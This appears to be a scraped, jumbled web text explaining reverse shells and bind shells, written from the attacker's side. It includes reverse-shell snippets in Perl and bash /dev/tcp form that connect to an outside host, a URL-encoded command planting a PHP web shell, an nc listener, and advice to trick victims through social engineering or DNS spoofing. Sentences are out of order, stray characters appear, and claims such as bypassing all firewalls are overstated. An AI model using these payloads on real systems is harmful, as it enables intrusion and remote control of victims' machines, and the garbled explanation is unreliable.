


In general a reverse shell is a payload that functions as a shell to the operating system, this means means that it either uses the OS API directly, or indirectly through spawning shells in the background, to perform read / write operations on the target computer's memory and hardware. It means you are asking vict to connect to your ip address on port 8080 assuming 10.0.0.1 is victims ip. General format is /dev/tcp/ip address /port.Ī simple bash based reverse shell would be executing following command on the victim You are basically opening tcp socket in Linux. To open a socket in Linux you have dev /tcp. Reverse shell are of different types - tcp based or http based or reverse tcp based or udp based reverse shells. Now in order to trick the victim you need to perform social engineering attacks or do dns spoofing and make sure your victim runs the program.Ī successful reverse shell would bypass all firewalls - both host based and network based firewalls. Now connection appears as if victim himself intending to connect us. You can think of, your computer (attacker) acts like a server and listens on port specified by him, now you make sure victim connects to you by sending syn packet ( depends on reverse shell implementation whether it is implemented using tcp or udp principals). Reverse shell is getting the connection from the victim or target to your computer. Perl shell perl -e 'use Socket $i="1.1.1.1" $p=10086 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i)))) This is exactly what is done by the following:Įxamples of reverse shells in various languages.

Victim's machine acts as a client and initiates a connection to the attacker's listening server.

It opens a communication channel on a port and waits for incoming connections. Reverse Shell - attacker's machine (which has a public IP and is reachable over the internet) acts as a server. So let me open a server at my end and let the victim connect to me. Now what if the victim's machine is NATed and hence not directly reachable ? One possible solution - So what if the victim's machine is not reachable. This would be only possible if the victim's machine has a public IP and is accessible over the internet (disregarding all firewall etc. Python -c “import pty pty.spawn(‘/bin/bash’) ”Įcho+%22%3C%3Fphp+system(\$_GET) %3F%3E%22+>+/tmp/shell2.In addition to the excellent answer by the answer to your question why is it called reverse shell is because it is called reverse shell as opposed to a bind shellīind shell - attacker's machine acts as a client and victim's machine acts as a server opening up a communication port on the victim and waiting for the client to connect to it and then issue commands that will be remotely (with respect to the attacker) executed on the victim's machine. Is it possible to break out of “jail” shell Transfer shell with nc nc -lvp 1234 reverse-shell.php
